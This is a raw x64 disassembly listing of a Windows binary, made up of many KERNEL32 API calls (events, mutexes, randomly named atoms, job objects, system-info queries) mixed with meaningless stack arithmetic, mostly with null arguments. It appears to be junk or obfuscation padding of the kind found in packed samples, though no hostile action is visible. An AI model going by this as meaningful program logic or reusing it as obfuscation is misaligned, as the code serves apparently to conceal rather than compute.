mov rcx, qword [rsp + 0xc290]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6408], eax
mov rax, qword [0x1401c8a40]
mov eax, dword [rax]
imul eax, dword [rsp + 0x59b4]
mov dword [0x1401c8a18], eax
movzx eax, word [rsp + 0x2130]
mov word [rsp + 0x2460], ax
movsx eax, word [rsp + 0x17bc]
mov rcx, qword [rsp + 0xd528]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2354], ax
mov rcx, qword [rsp + 0xd3c8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x661c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xda10], rax
mov rcx, qword [rsp + 0xc918]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, 0xff4
mov rcx, qword [rsp + 0xc920]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x67f8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc020], rax
movzx eax, word [rsp + 0x208c]
mov word [rsp + 0x2464], ax
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0xd610]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xab00], rax
lea rcx, [rsp + 0x204b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xd128]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba90]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcae8], rax
lea rax, [rsp + 0x64a0]
mov qword [rsp + 0xda18], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6710], eax
lea rcx, str.Qz7zZVx_4uzpLoy
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x219c], ax
movsx eax, byte [rsp + 0x3ca]
movsx ecx, byte [rsp + 0x228]
sar eax, cl
mov byte [rsp + 0x3b0], al
lea rcx, [rsp + 0x1ff78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xda20], rax
movsx eax, word [rsp + 0x1848]
movsx ecx, word [0x1401c8c68]
shl eax, cl
mov word [rsp + 0x1a34], ax
mov rax, qword [rsp + 0xd508]
movzx eax, word [rax]
mov word [0x1401c8d30], ax
movzx ecx, word [rsp + 0x2248]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2448], ax
lea rcx, str.ZuE1L39X
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x244c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2f8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xcdb0]
cqo
idiv qword [rsp + 0xc9c0]
mov qword [rsp + 0xce40], rax
mov rax, qword [rsp + 0xd788]
movzx eax, word [rax]
movzx ecx, word [0x1401c7148]
and eax, ecx
mov word [rsp + 0x22f0], ax
lea rax, [rsp + 0x6620]
mov qword [rsp + 0xda28], rax
movzx eax, byte [rsp + 0x3c1]
mov rcx, qword [rsp + 0xca88]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1df], al
mov r9d, 1
lea r8, [rsp + 0xcb80]
mov rdx, qword [rsp + 0xccd0]
mov rcx, qword [rsp + 0xd7c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x67c4], eax
movzx ecx, word [rsp + 0x1fbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2468], ax
mov r9d, 2
lea r8, [rsp + 0xc198]
mov rdx, qword [rsp + 0xc578]
mov rcx, qword [rsp + 0xd0d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x67f0], eax
mov rax, qword [rsp + 0xd660]
mov eax, dword [rax]
mov dword [rsp + 0x6818], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6510], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xda30], rax
mov rax, qword [rsp + 0xc840]
mov rcx, qword [rsp + 0xb0e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc3f0], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6510], eax
movzx ecx, word [rsp + 0x2078]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f10], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
lea rcx, [rsp + 0x204e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc9d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd090]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x376], al
mov rax, qword [rsp + 0xd4f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15cc]
or eax, ecx
mov word [rsp + 0x150c], ax
mov rcx, qword [rsp + 0xcf88]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x2464]
mov rcx, qword [rsp + 0xc948]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401c8c94], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6680], eax
lea rcx, [rsp + 0x1d5e8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rcx, str.eAiuz_f8KQNqEE
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x246c], ax
mov rcx, qword [rsp + 0xd348]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, str.YnijbY
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2250], ax
mov rax, qword [rsp + 0xd268]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd328]
mov qword [rsp + 0xda38], rcx
movzx ecx, al
mov rax, qword [rsp + 0xda38]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xd620], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd730], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rcx, [rsp + 0x20518]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rcx, qword [rsp + 0xd568]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62b4], eax
lea rcx, [rsp + 0x1d6b0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xda40], rax
lea rcx, str.A0f4kFPsyyqI_JFb
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2444], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0xb910]
mov qword [rsp + 0xda48], rax
lea rcx, [rsp + 0x1ff78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov r9d, 1
lea r8, [rsp + 0xd438]
mov rdx, qword [rsp + 0xd9c0]
mov rcx, qword [rsp + 0xc630]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x681c], eax
mov rcx, qword [rsp + 0xc768]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0x1f2c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2470], ax
movsx eax, word [rsp + 0x2174]
mov rcx, qword [rsp + 0xd5e0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xce88]
mov word [rcx], ax
mov rax, qword [rsp + 0xd788]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd1b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2350], ax
mov eax, dword [rsp + 0x67ec]
mov dword [rsp + 0x6820], eax
mov rcx, qword [rsp + 0xcff0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x66f4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0xcac8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3a5]
add eax, ecx
mov byte [rsp + 0x379], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6360], eax
mov rax, qword [rsp + 0xce58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa1d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbd20], rax
mov rax, qword [rsp + 0xd7b8]
mov rcx, qword [rsp + 0xc390]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xae30], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6824], eax
lea rax, [rsp + 0x150c]
mov qword [0x1401c8d38], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
movzx eax, word [rsp + 0x200c]
mov word [rsp + 0x2474], ax
lea rcx, [rsp + 0x1ff18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x65c8], eax
mov rcx, qword [rsp + 0xc3b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6828], eax
lea rcx, [rsp + 0x1d458]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x672c], eax
movzx ecx, word [rsp + 0x1ff8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2478], ax
mov eax, dword [rsp + 0x65a4]
mov rcx, qword [rsp + 0xd828]
mov qword [rsp + 0xda50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xda50]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x597c], eax
mov rcx, qword [rsp + 0xd960]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6534], eax
lea rcx, [rsp + 0x1ffd8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x3a0]
movzx ecx, byte [rsp + 0x253]
sar eax, cl
mov byte [rsp + 0x1df], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9640]
mov rcx, qword [0x1401c7048]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xab98], rax
movsx eax, byte [rsp + 0x3ce]
mov rcx, qword [rsp + 0xcc98]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xcba0]
mov byte [rcx], al
mov rcx, qword [rsp + 0xcd58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x63ec], eax
mov rax, qword [rsp + 0xcdd0]
mov rax, qword [rax]
mov qword [rsp + 0xda58], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc128], rax
mov rax, qword [0x1401c8a40]
mov rcx, qword [rsp + 0xc5d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x60e0], eax
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc888]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xca28]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd390]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x21f4]
sub eax, ecx
mov word [0x1401c7070], ax
mov rax, qword [rsp + 0xbae0]
mov qword [rsp + 0xda60], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0xd018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc7f0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd1b0]
mov word [rcx], ax
mov r9d, 1
lea r8, [rsp + 0xd9c0]
mov rdx, qword [rsp + 0xd438]
mov rcx, qword [rsp + 0xc630]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6428], eax
movsx eax, word [rsp + 0x235c]
mov rcx, qword [rsp + 0xcd98]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x9bc], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc6e8], rax
mov rax, qword [rsp + 0xd328]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa778]
shl rax, cl
mov qword [rsp + 0x9f58], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc5b0], rax
mov rax, qword [rsp + 0xcba0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401c700d]
sub eax, ecx
mov rcx, qword [rsp + 0xcd18]
mov byte [rcx], al
mov eax, dword [rsp + 0x6544]
mov dword [rsp + 0x682c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [rsp + 0xcdd0]
mov rcx, qword [rsp + 0xd418]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc658]
mov qword [rcx], rax
lea rax, [rsp + 0x1840]
mov qword [rsp + 0xda68], rax
mov rax, qword [0x1401c8aa0]
mov rcx, qword [rsp + 0xab28]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c7188], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xda70], rax
movzx eax, byte [rsp + 0x38d]
mov rcx, qword [rsp + 0xd148]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x395], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6258], eax
mov rcx, qword [rsp + 0xc528]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x20548]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rcx, qword [rsp + 0xc918]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6718], eax
lea rax, [rsp + 0x5c0c]
mov qword [rsp + 0xda78], rax
movsx eax, word [rsp + 0x2104]
mov rcx, qword [rsp + 0xc888]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x120c], ax
mov r9d, 2
lea r8, [rsp + 0xc480]
mov rdx, qword [rsp + 0xda80]
mov rcx, qword [rsp + 0xc270]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x67c8], eax
movzx eax, word [rsp + 0x2210]
mov rcx, qword [rsp + 0xc980]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x92c], ax
mov eax, dword [rsp + 0x5868]
mov ecx, dword [rsp + 0x61bc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5d4c], eax
mov rax, qword [rsp + 0xcdd0]
mov rcx, qword [rsp + 0xcb00]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd428], rax
movzx eax, byte [rsp + 0x3b5]
mov byte [rsp + 0x3de], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6258], eax
mov rax, qword [rsp + 0xd068]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x198c]
sar eax, cl
mov word [rsp + 0xb84], ax
movzx eax, word [rsp + 0x1718]
mov rcx, qword [rsp + 0xd1b0]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401c7118], ax
mov rax, qword [rsp + 0xd488]
mov rcx, qword [0x1401c8ba8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc1d8], rax
mov rax, qword [rsp + 0xc758]
mov qword [rsp + 0xda88], rax
mov rax, qword [rsp + 0xd188]
mov rcx, qword [rsp + 0xc4e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd9e0], rax
movsx eax, word [rsp + 0x2274]
movsx ecx, word [0x1401c7054]
sar eax, cl
mov word [rsp + 0x1dac], ax
mov rax, qword [rsp + 0xc790]
mov rcx, qword [rsp + 0xc590]
mov qword [rsp + 0xda90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xda90]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9518], rax
lea rcx, [rsp + 0x1d610]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [rsp + 0x5bc4]
mov ecx, dword [rsp + 0x6798]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xda18]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x675c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
lea rax, [rsp + 0x3ce]
mov qword [rsp + 0xda98], rax
mov rax, qword [rsp + 0xd008]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd148]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3a0], al
mov rax, qword [rsp + 0xd430]
mov eax, dword [rax]
mov dword [rsp + 0x6830], eax
movzx eax, word [rsp + 0x20ec]
mov word [0x1401c8d40], ax
movzx eax, word [0x1401c7038]
mov rcx, qword [rsp + 0xd580]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x92c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6834], eax
mov rcx, qword [rsp + 0xd468]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x231c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fe4], ax
mov rax, qword [rsp + 0xcfb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x21b8]
and eax, ecx
mov word [rsp + 0x2410], ax
mov rax, qword [rsp + 0xd3f0]
mov rcx, qword [rsp + 0x9f58]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb970], rax
movsx eax, byte [rsp + 0x3c8]
mov rcx, qword [rsp + 0xd100]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x388], al
mov rax, qword [rsp + 0xcf18]
mov rax, qword [rax]
mov qword [rsp + 0xdaa0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
mov rcx, qword [0x1401c8a40]
mov qword [rsp + 0xdaa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdaa8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x64c0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x1f64]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x243c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rax, [rsp + 0xf58]
mov qword [rsp + 0xdab0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xdab8], rax
mov rax, qword [rsp + 0xc838]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c98]
sar eax, cl
mov word [rsp + 0x1388], ax
mov rax, qword [0x1401c8a60]
mov rax, qword [rax]
imul rax, qword [rsp + 0x98d8]
mov qword [0x1401c8c28], rax
movzx eax, word [rsp + 0x9c0]
movzx ecx, word [rsp + 0x222c]
sub eax, ecx
mov word [rsp + 0xa5c], ax
mov rax, qword [rsp + 0xc6b8]
mov rcx, qword [rsp + 0xd3f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa178], rax
mov rcx, qword [rsp + 0xc998]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6534], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
mov rax, qword [rsp + 0xc990]
mov rcx, qword [rsp + 0xbd08]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcf30], rax
mov rax, qword [rsp + 0xca58]
mov rax, qword [rax]
mov qword [rsp + 0xdac0], rax
movsx eax, byte [rsp + 0x3cb]
mov rcx, qword [rsp + 0xce08]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3d5], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xdac8], rax
movzx ecx, word [rsp + 0x2140]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x23f4], ax
lea rcx, [rsp + 0x1fbe8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd940]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3d1], al
mov eax, dword [rsp + 0x6200]
mov dword [rsp + 0x6838], eax
mov eax, dword [rsp + 0x55d8]
movzx ecx, al
mov eax, dword [rsp + 0x64ac]
shl eax, cl
mov dword [rsp + 0x6818], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6640], eax
lea rcx, [rsp + 0x20578]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x654c], eax
lea rcx, [rsp + 0x20248]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx ecx, word [rsp + 0x231c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x224c], ax
mov rax, qword [rsp + 0xd0b0]
movzx eax, word [rax]
mov word [0x1401c8d44], ax
movsx eax, word [rsp + 0x20d8]
mov rcx, qword [rsp + 0xd060]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1974], ax
mov rax, qword [rsp + 0xcd00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd998]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2054], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
lea rcx, [rsp + 0x20368]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd7d0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
movzx eax, word [rsp + 0x1840]
movzx ecx, word [rsp + 0x92c]
and eax, ecx
mov word [rsp + 0xaa0], ax
mov r9d, 0x26b4
xor r8d, r8d
lea rdx, [rsp + 0xd388]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x66d0], eax
mov rax, qword [rsp + 0xd918]
mov qword [rsp + 0xdad0], rax
mov eax, dword [rsp + 0x663c]
mov ecx, dword [rsp + 0x65d0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x579c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xd960]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd010], rax
lea rcx, [rsp + 0x1d610]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xcea0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3af]
shl eax, cl
mov byte [rsp + 0x2c2], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd098], rax
lea rcx, str.Lr_LjF
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x247c], ax
movsx eax, word [rsp + 0x2374]
mov rcx, qword [rsp + 0xc4e0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1a34], ax
mov rax, qword [rsp + 0xd868]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc980]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x22ac], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x65c0], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x628c], eax
mov rax, qword [0x1401c8bc8]
mov rcx, qword [rsp + 0xaf58]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x1401c8a60]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd610]
mov rax, qword [rax]
mov qword [rsp + 0xdad8], rax
mov rax, qword [rsp + 0xcf80]
mov rax, qword [rax]
imul rax, qword [rsp + 0xa620]
mov qword [rsp + 0x9af8], rax
mov rax, qword [rsp + 0xd1d8]
mov rax, qword [rax]
mov qword [rsp + 0xdae0], rax
lea rcx, [rsp + 0x1d598]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.Yzo0wLw76jv
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xdae8], rax
mov rcx, qword [rsp + 0xd670]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x632c], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [rsp + 0xc9a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf30]
add eax, ecx
mov word [rsp + 0x2114], ax
movzx eax, byte [rsp + 0x4e]
movzx ecx, byte [rsp + 0x391]
add eax, ecx
mov byte [rsp + 0x235], al
mov rax, qword [rsp + 0xcaf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6398]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58cc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rax, qword [rsp + 0xc6d0]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6154]
mov dword [rsp + 0x6464], eax
mov rax, qword [rsp + 0xcee8]
movzx eax, byte [rax]
mov byte [rsp + 0x3df], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc008]
mov rcx, qword [0x1401c8c78]
mov qword [rsp + 0xdaf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdaf0]
mov rax, qword [rax]
shr rax, cl
mov qword [0x1401c7190], rax
mov r9d, 1
lea r8, [rsp + 0xd9c0]
mov rdx, qword [rsp + 0xccd0]
mov rcx, qword [rsp + 0xc8a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x657c], eax
movzx ecx, word [rsp + 0x21bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2480], ax
lea rcx, [rsp + 0x20278]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x20c8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fa8], ax
lea rcx, [rsp + 0x20248]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x683c], eax
